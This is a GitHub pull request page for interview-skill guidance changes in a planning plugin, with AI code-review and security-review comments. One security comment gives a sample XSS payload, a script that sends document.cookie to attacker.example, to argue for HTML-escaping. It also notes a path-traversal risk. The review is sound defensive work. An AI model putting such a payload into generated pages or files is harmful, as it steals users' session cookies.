Skip to content

feat(planning): interview round-format legibility levers (#1042)#1048

Merged
kyle-sexton merged 2 commits into
mainfrom
feat/1042-interview-round-format
Jul 22, 2026
Merged

feat(planning): interview round-format legibility levers (#1042)#1048
kyle-sexton merged 2 commits into
mainfrom
feat/1042-interview-round-format

Conversation

@kyle-sexton

@kyle-sexton kyle-sexton commented Jul 22, 2026

Copy link
Copy Markdown
Contributor

Closes #1042.

What

Legibility levers for /planning:interview rounds, fixing the wall-of-dense-prose
failure at the producer without touching the frontier protocol.

Lever Change
1 — session-hop anchor Round-header restate re-grounds a resumed reader; per-question context capped at ONE line, only when the header doesn't cover it or after a session gap
3 — single verdict marker My recommendation: is the sole marker — no stacked (RECOMMENDED) badge, no repeat tag in Alternatives
4 — session-shorthand glossary Session-local shorthand defined once, parked in the ledger (distinct from the project's ubiquitous language)
5 — artifact escape hatch A dense round can render its whole frontier as an HTML decision-table artifact (rows numbered to terminal Q<N>, degrading to a fenced markdown table) — a rendering surface, never a round split or question cap
6 — AUQ sharpening AskUserQuestion scoped to simple selections / binary confirms

Lever 2 (a hard per-round question cap) is deliberately rejected — it
contradicts frontier doctrine (the whole frontier is one numbered set) and adds
latency without information. Lever 5 gives a rendering escape hatch instead.

Where

  • skills/interview/SKILL.md — per-question template (levers 1, 3), Question
    surface (levers 5, 6), Recommended-answers reconciliation (lever 3), Step 2
    restate (lever 1).
  • skills/interview/context/loop.md — progressive-disclosure detail: session-hop
    anchor, artifact column spec, session-shorthand glossary shape.
  • CHANGELOG.md + plugin.json — patch bump 0.24.5 (guidance-only).

Verification

  • markdownlint-cli2 clean on all touched files.
  • skill-quality:check interview → PASS, 0 errors. Two WARNs are pre-existing
    (SKILL.md soft-cap >200, and the description's non-Use when: trigger style),
    neither introduced here; all 5 base-ref trigger phrases preserved.

Related

Notes

  • No new skill/action/config; frontier protocol unchanged.

🤖 Generated with Claude Code

Interview rounds could present as a wall of dense prose. These levers fix
legibility at the producer without changing the frontier protocol (a hard
per-round question cap was considered and rejected — it contradicts frontier
doctrine and adds latency without information).

- Session-hop anchor: the round-header restate re-grounds a resumed reader
  before any question; per-question context capped at one line, used only when
  the header restate doesn't reach the question or after a session gap.
- Single verdict marker: the `My recommendation:` line is the sole marker —
  no stacked `(RECOMMENDED)` badge, no repeated tag in the Alternatives list.
- Session-shorthand glossary: session-local shorthand defined once at first use
  and parked in the ledger (distinct from the project's ubiquitous language).
- Artifact escape hatch: a dense round can render its whole frontier as an HTML
  decision-table artifact (rows numbered to the terminal Q<N>, answers still by
  number, degrading to a fenced markdown table) — a rendering surface, never a
  round split or question cap.
- AskUserQuestion guidance sharpened to simple selections / binary confirms.

Guidance-only; no new skill, action, or config. Patch bump 0.24.5.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 22, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 34s —— View job


PR Review — feat(planning): interview round-format legibility levers

  • Load tools
  • Read changed files and diff
  • Review for correctness and consistency
  • Review alignment with CLAUDE.md / plugin design rules
  • Post findings

Overall the changes are well-scoped and internally consistent. The guidance is clear, the cross-references between SKILL.md and loop.md are correct, and the patch bump is appropriate for a guidance-only change. Three issues found, one of which is a real internal contradiction.


Finding 1 — Stale (RECOMMENDED) language contradicts lever 3 (medium)

SKILL.md line 79:

Every option set names exactly ONE recommended option marked (RECOMMENDED) with a one-line basis.

This sentence predates the PR and was not updated. It now conflicts with the lever 3 rule added later in the same file:

The My recommendation: line is the single verdict marker for the question — never stack a second one: no standalone **(RECOMMENDED)** badge line…

A reader scanning the "Stance" section before reaching "Relentless mode" gets the wrong instruction: they see "mark it (RECOMMENDED)" broadly, then later "never use that badge inline." The "Recommended answers" section (line 119) does reconcile the two surfaces correctly, but the early contradiction at line 79 remains.

Suggested fix — change line 79 from:

Every option set names exactly ONE recommended option marked (RECOMMENDED) with a one-line basis.

to something like:

Every option set names exactly ONE recommended answer with a one-line basis — marked via My recommendation: in inline prose rounds, or tagged (RECOMMENDED) in an AskUserQuestion card.

Fix this →


Finding 2 — Column count and name mismatch between SKILL.md and loop.md (low)

SKILL.md line 56 describes the artifact table as four columns:

columns question / recommendation / alternatives / what you're deciding

loop.md line 108 specifies five:

# (the terminal Q<N>) | Question | Recommendation | Alternatives | Deciding what

SKILL.md drops the # column (mentioned only in prose as "rows numbered to the terminal Q<N>") and uses "what you're deciding" instead of "Deciding what". The # column is load-bearing — it's the answer path mechanism — so its omission from the SKILL.md column list is the more material gap. loop.md's degrade note also references "the same five columns" which would disagree with a reader counting four from SKILL.md.


Finding 3 — Missing trailing period in loop.md step 1 (minor)

loop.md line 54 — the newly added sentence ends with ) but no period:

…so a returning reader (or a fresh session resuming from the ledger) is grounded without re-reading the whole ledger. When it fully covers a question's context, that question needs no per-question context line (SKILL.md "Relentless mode")

All other numbered list items in the file end with a full stop. Missing period after the cross-reference parenthetical.


Everything else looks good

  • plugin.json version bump is correct (patch, guidance-only).
  • CHANGELOG entry is clear and well-structured under Keep a Changelog format.
  • The per-question template change (dropping (recommended) from the Alternatives list, adding the optional context line) is correct and internally consistent.
  • The AUQ sharpening ("simple selections or binary confirms", "a question needs more than a pick" fallback) is a clean tightening of an already-qualified rule.
  • The session-shorthand glossary shape in loop.md is well-delimited from the ubiquitous-language glossary (the /domain-driven-design:curate-language distinction is explicit in both SKILL.md and loop.md).
  • The session-hop anchor is stated consistently in both files and the SKILL.md Step 2 one-liner is a good summary entry-point.
  • No security concerns — guidance-only, no code execution, no new config, no egress.
  • Plugin design rules: repo-agnostic, no hardcoded paths, versioned correctly.

@claude

claude Bot commented Jul 22, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 1m 7s —— View job


Security Review

  • Gather context and understand request
  • Fetch PR diff
  • Read changed files
  • Analyze for security issues
  • Report findings

Scope: 4 files — plugin.json (version bump only), CHANGELOG.md (docs only), skills/interview/SKILL.md (LLM guidance), skills/interview/context/loop.md (LLM guidance).

Finding: No security vulnerabilities introduced.

All changes are guidance-only edits to LLM skill documents and a patch version bump. Here is the analysis per security surface:

Plugin manifest (plugin.json) — version 0.24.4 → 0.24.5 only. No new userConfig keys, no new permissions, no remote MCP servers, no new tool grants, no new shell commands. Clean.

Shell injection (pre-computed context block in SKILL.md) — The ! shell-command block (git branch, git log, git status) is unchanged from the prior version. These commands are static with no user input interpolated into them, so they present no injection surface. This PR does not add or modify any shell execution.

HTML artifact escape hatch — The new guidance instructs the LLM to render a dense round as an "HTML decision-table artifact." The content filling the table cells (question text, recommendations, alternatives) is LLM-generated and informed by the user's codebase. If raw codebase strings (e.g. a variable named <script>alert(1)</script>) flowed into those cells unescaped, there would be a theoretical XSS risk in an artifact rendering context. However:

  • This is guidance-only — there is no code here that generates HTML; the LLM generates it at runtime.
  • Claude Code artifact rendering is sandboxed.
  • The LLM is the HTML author and is expected to produce safe output.
  • This surface is not materially different from any other "render HTML artifact" instruction already expressible in Claude Code.

No CRITICAL or IMPORTANT findings. No authorization gaps, no secret/credential exposure, no path traversal, no supply-chain risk, no dangerous GitHub Actions patterns (no workflow files touched).

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 77b86732e7

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/planning/skills/interview/SKILL.md Outdated
Comment thread plugins/planning/skills/interview/context/loop.md Outdated
…ing in table fallback (#1042)

Addresses two P2 review findings on the dense-round artifact escape hatch:

- Delivery path was unspecified — "render an artifact and leave a link" gave an
  agent no actionable mechanism. Now: write a self-contained HTML file to the
  topic's memory slice (`<memory_dir>/<topic-slug>/interview-round-<n>.html`),
  give the user its path, ledger/terminal stay the tracked record — matching the
  repo's HTML-view idiom (knowledge:youtube-digest).
- The markdown fallback dropped the recommendation's grounded basis and the
  round's closing constraint probe, breaking the inline Q&A contract. Now the
  Recommendation column carries the 2-3 sentence codebase-grounded basis (not a
  terse label) and the closing probe renders with the table, in both the HTML
  and the fenced-table fallback — so grounding and the challenge mechanism are
  preserved.

Guidance-only; no behavior/protocol change beyond specifying the surface.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
@claude

claude Bot commented Jul 22, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 18s —— View job


PR Review — feat(planning): interview round-format legibility levers

  • Load tools
  • Read diff and changed files (new commit: 1d00f08)
  • Check whether prior review findings were addressed
  • Review new changes for correctness and consistency
  • Post findings

What the new commit (1d00f08) addresses

The fix commit targets the two Codex P2 findings and correctly resolves both:

Codex P2 #1 — Concrete delivery path ✅ Resolved
loop.md now specifies <memory_dir>/<topic-slug>/interview-round-<n>.html as the output path, the file is a self-contained HTML view, and the terminal residue carries the path. The HTML-vs-ledger hierarchy is stated ("the HTML is a scannable view, not the source of truth"). Aligns with the repo's HTML-view idiom.

Codex P2 #2 — Preserve rationale and probe in table fallback ✅ Resolved
loop.md now requires the Recommendation column to carry the "2-3 sentence codebase-grounded basis", adds an explicit Constraint probe kept bullet, and the degrade bullet covers the probe: "render the same columns (with the same grounded basis) and the probe as a fenced markdown table inline." SKILL.md also summarises this at the summary level.

Claude finding 2 — Column count/name mismatch ✅ Implicitly resolved
The column listing was removed from SKILL.md entirely (now "Delivery path + column detail: context/loop.md 'Artifact escape hatch'"), making loop.md the single source. The mismatch is gone.


Remaining issues from the prior review

Finding 1 — Stale (RECOMMENDED) badge language still contradicts lever 3 (medium) — NOT FIXED

SKILL.md line 79 still reads:

Every option set names exactly ONE recommended option marked (RECOMMENDED) with a one-line basis.

This sentence is unchanged and still contradicts the lever 3 rule added at line 103:

The My recommendation: line is the single verdict marker for the question — never stack a second one: no standalone **(RECOMMENDED)** badge line…

The reconciliation at line 119 ("in an inline round that marker IS the My recommendation: line; in an AskUserQuestion card it is the option tagged (RECOMMENDED)") is correct but comes 40 lines later. A reader of the "Stance" section will see the contradiction before reaching the resolution.

Suggested fix — update line 79:

Every option set names exactly ONE recommended answer with a one-line basis — marked via My recommendation: in inline prose rounds, or tagged (RECOMMENDED) in an AskUserQuestion card.

Fix this →


Finding 3 — Missing trailing period in loop.md step 1 (minor) — NOT FIXED

loop.md line 54 — the sentence added in the first commit still ends with ) and no period:

…so a returning reader (or a fresh session resuming from the ledger) is grounded without re-reading the whole ledger. When it fully covers a question's context, that question needs no per-question context line (SKILL.md "Relentless mode")

Every other numbered list item in the file ends with a full stop.

Fix this →


New minor observation from the fix commit

<n> in the filename interview-round-<n>.html is slightly ambiguous (low)

loop.md line 108 uses interview-round-<n>.html where <n> implies a round counter. But the skill tracks a question counter (Q<N> runs continuously), not an explicit round counter. The agent has no documented way to know it is in round 3 vs round 1. A small clarification (e.g. "incrementing round number, starting at 1 per topic") or using a question-range label (interview-round-Q1-Q7.html) would remove the ambiguity.


Summary

The fix commit correctly resolves both Codex P2 findings and the column-mismatch noted in the prior Claude review. Two items remain open: the (RECOMMENDED) contradiction at line 79 of SKILL.md (medium, present since the first commit) and the missing period on loop.md line 54 (minor). The filename <n> ambiguity is new and low-severity. Everything else — delivery path, grounding preservation, degrade behavior, column authority in loop.md — is correct and consistent.

@claude

claude Bot commented Jul 22, 2026

Copy link
Copy Markdown

Claude finished @kyle-sexton's task in 2m 16s —— View job


Security Review

  • Load tools
  • Fetch PR diff
  • Read changed files
  • Analyze for security issues
  • Report findings

Scope: 4 files — plugin.json (version bump only), CHANGELOG.md (docs only), skills/interview/SKILL.md (LLM guidance), skills/interview/context/loop.md (LLM guidance).

The new commit (1d00f08) adds a concrete delivery-path spec for the HTML artifact escape hatch. Two issues are worth flagging on that surface; everything else is clean.


Finding 1 — HTML artifact cells contain codebase-derived content with no escaping instruction

Severity: SUGGESTION | Confidence: Medium

loop.md line 108–109 instructs the LLM to write a self-contained HTML file to disk whose table cells are "codebase-grounded" — verbatim or close-paraphrase of content read from the repository ("question text, recommendations, alternatives"). The guidance does not instruct the LLM to HTML-encode that content before writing.

If a repository contains adversarially crafted content — a filename, comment, or identifier like <script>fetch('https://attacker.example?d='+document.cookie)</script> — and it surfaces as part of a question or recommendation, the generated HTML file will execute that payload when the user opens it in a browser. The file is written to the user's local disk (.work/<topic-slug>/interview-round-<n>.html) and opened from a file:// origin, where script execution is not sandboxed by a same-origin constraint.

This differs from the prior review's assessment: that review treated the HTML as a Claude Code in-session artifact (sandboxed renderer); the delivery spec in commit 1d00f08 makes clear it is a disk file opened by the user in their browser, where that sandboxing does not apply.

Suggested fix — add an explicit escaping instruction to the "Columns" bullet in loop.md:

All codebase-derived cell content must be HTML-entity-encoded (e.g. &lt; for <, &amp; for &) before being written to the HTML file; do not write raw codebase strings as HTML.

Or restrict the recommendation to markdown-only rendering (the degrade path already does this safely). Attack chain requires repo write access or a malicious dependency with crafted content, so real-world exploitability is low in most consumer threat models.

Fix this →


Finding 2 — topic-slug is LLM-derived and used as a path component without sanitization guidance

Severity: SUGGESTION | Confidence: Low

loop.md line 108 constructs the file path as <memory_dir>/<topic-slug>/interview-round-<n>.html. The topic-slug is derived by the LLM from the planning session topic, which can be influenced by codebase content or user-provided topic names. A slug containing ../ sequences could write the HTML file outside the intended .work/ directory.

Confidence is low: this reuses the same path pattern as the pre-existing interview-checklist.md spec (line 141 — not new to this PR), the LLM would likely sanitize the slug naturally, and Claude Code's Write tool validates paths and rejects traversal sequences. No new risk is introduced beyond what the ledger path already carries.


Everything else is clean

  • plugin.json — version 0.24.4 → 0.24.5 only; no new config keys, permissions, remote MCP servers, or shell commands.
  • CHANGELOG.md — documentation only.
  • No GitHub Actions files touched; no CI/CD security concerns.
  • No credential/secret handling, no network egress, no supply-chain changes.
  • The !-prefixed shell-command blocks in SKILL.md (git branch, git log, git status) are unchanged, static, and carry no injection surface.

@kyle-sexton

Copy link
Copy Markdown
Contributor Author

Both P2 findings addressed in 1d00f08: (1) the dense-round artifact now has a concrete delivery path — a self-contained HTML file written to the topic's memory slice (<memory_dir>/<topic-slug>/interview-round-<n>.html), ledger/terminal stay the tracked record, matching the knowledge:youtube-digest HTML-view idiom; (2) the markdown fallback now preserves each recommendation's 2-3 sentence codebase-grounded basis and renders the round's closing constraint probe, so grounding and the challenge mechanism are not lost. Thanks.

@kyle-sexton
kyle-sexton merged commit 7e2069e into main Jul 22, 2026
25 checks passed
@kyle-sexton
kyle-sexton deleted the feat/1042-interview-round-format branch July 22, 2026 18:48
kyle-sexton added a commit that referenced this pull request Jul 22, 2026
#1048 (P15a) squash-merged to main, so the un-squashed P15a commits in this
branch conflicted with main's squashed + Codex-fixed versions. Resolution:
take main's Codex-fixed interview/SKILL.md and loop.md, keep this branch's
0.25.0 version bump + CHANGELOG entry, and re-apply the one audit-answers
Composition seam row. Net diff vs main is the P18 skill only.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
kyle-sexton added a commit that referenced this pull request Jul 22, 2026
…ct (#1073)

Closes #1070

## Summary

Adds `/adhd:clarify`: an on-demand, one-shot reshape of a dense,
decision-heavy message already on screen so a reader (especially one
offloading working memory) can act on it. It **restructures faithfully**
— chunks the content one-decision-at-a-time, defines the session's own
jargon, and surfaces exactly what must be decided — and it renders an
HTML **decision table** for big content. This is the consumer-side
counterpart to the producer-side interview-format levers already shipped
(planning PR #1048); where those fix the flagship producer, this rescues
any dense artifact reactively.

The core discipline: **change STRUCTURE, never altitude**. Lowering the
reading level (plain words / ELI5 / lossy simplification) is
`education:explain`'s lane; this holds precision and reading level fixed
and only reorganizes — it makes the same content clear without
simplifying it.

## Fix

- **New skill** `plugins/adhd/skills/clarify/` (SKILL.md + evals.json).
Default target is the previous assistant response (anaphora); an
explicit target overrides.
- **Hard fidelity rules** (a clarification of a decision doc must not
corrupt the decisions): operative terms of every recommendation quoted
**verbatim**; original item numbers kept as **back-links** (distinct
from the table's own answer-mapping row numbers); **omissions listed**
explicitly; closing line that the clarification is a **lens** — validate
answers against the original.
- **Artifact-forward** rendering: decision table `item | recommendation
| alternative | what-you're-deciding`, rows numbered so terminal answers
map back; honors the Artifact tool contract via the `artifact-design`
skill; degrades to a local HTML file, then structured terminal markdown,
when the Artifact surface is unavailable. Static table — no runtime
capabilities declared.
- **CRITICAL trigger-collision fix** vs `education:explain` (both
auto-fire and default to the previous response): the
altitude-vs-structure decision rule is written into **both**
descriptions with disjoint triggers, so routing is on intent, not
overlapping phrases. All 7 of explain's trigger keywords are preserved
(verified by skill-quality's keyword-preservation check).
- **In-plugin boundary** line added to `adhd:shape` (standing session
posture vs one-shot reshape); its 5 trigger keywords preserved.
- Version bumps: `adhd` 0.1.0 -> 0.2.0 (new skill), `education` 0.5.1 ->
0.5.2 (explain routing boundary). Changelogs updated; root catalog
regenerated; adhd README updated for the second skill.

### Naming

Name **`clarify`** is human-locked (chosen over digest/untangle/decode
and the blind-lens picks restructure/chunk — clarify carries
faithfulness in the word: make clear without changing substance). The
trigger phrase "help me digest this" is kept as a genuine user reflex.

### One PR, not two (deliberate)

The two-plugin touch ships as **one PR** because the mutual-exclusion
boundary is atomic: splitting it opens a window where either `explain`
auto-fires on `clarify`'s triggers (adhd-first) or `explain`'s
description references a not-yet-existent boundary (education-first).
The two descriptions are a matched pair implementing one
disjoint-trigger contract.

## Verification

All run locally on the branch (post-rename):

- `skill-quality` check — `clarify` PASS (0 errors, 0 warnings; 189/500
lines, desc 1058/1536 chars); `explain` PASS (all 7 trigger phrases
preserved); `shape` PASS (all 5 preserved; one pre-existing
Gotchas-surface WARN, not introduced here).
- `claude plugin validate` — `adhd` and `education` both pass.
- `check-changelog-parity.sh --check-bump origin/main` — both bumped
plugins have matching `## [<version>]` entries.
- `generate-catalog.mjs --check` — catalog in sync.
- `validate-plugin-contracts.mjs` — pass.
- `check-skill-leaf-names.sh --check` — `clarify` is a unique leaf, no
collision.
- `check-skill-portability.sh origin/main` — no coupling tokens.
- `markdownlint-cli2` on changed docs — 0 errors.
- `clarify` `evals.json` — valid against the bundled schema (5 cases).

## Related

- Refs #1065 (visualize plugin) and #1068 (presentation/output taxonomy
category) — adjacent output-presentation work; clarify is
comprehension-driven restructure, visualize is form-driven rendering.
- Refs #1042 / PR #1048 — the producer-side interview-format levers this
complements.

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

planning/interview: round-format legibility levers (session-hop anchor, jargon ledger, artifact escape hatch, AUQ sharpening)

1 participant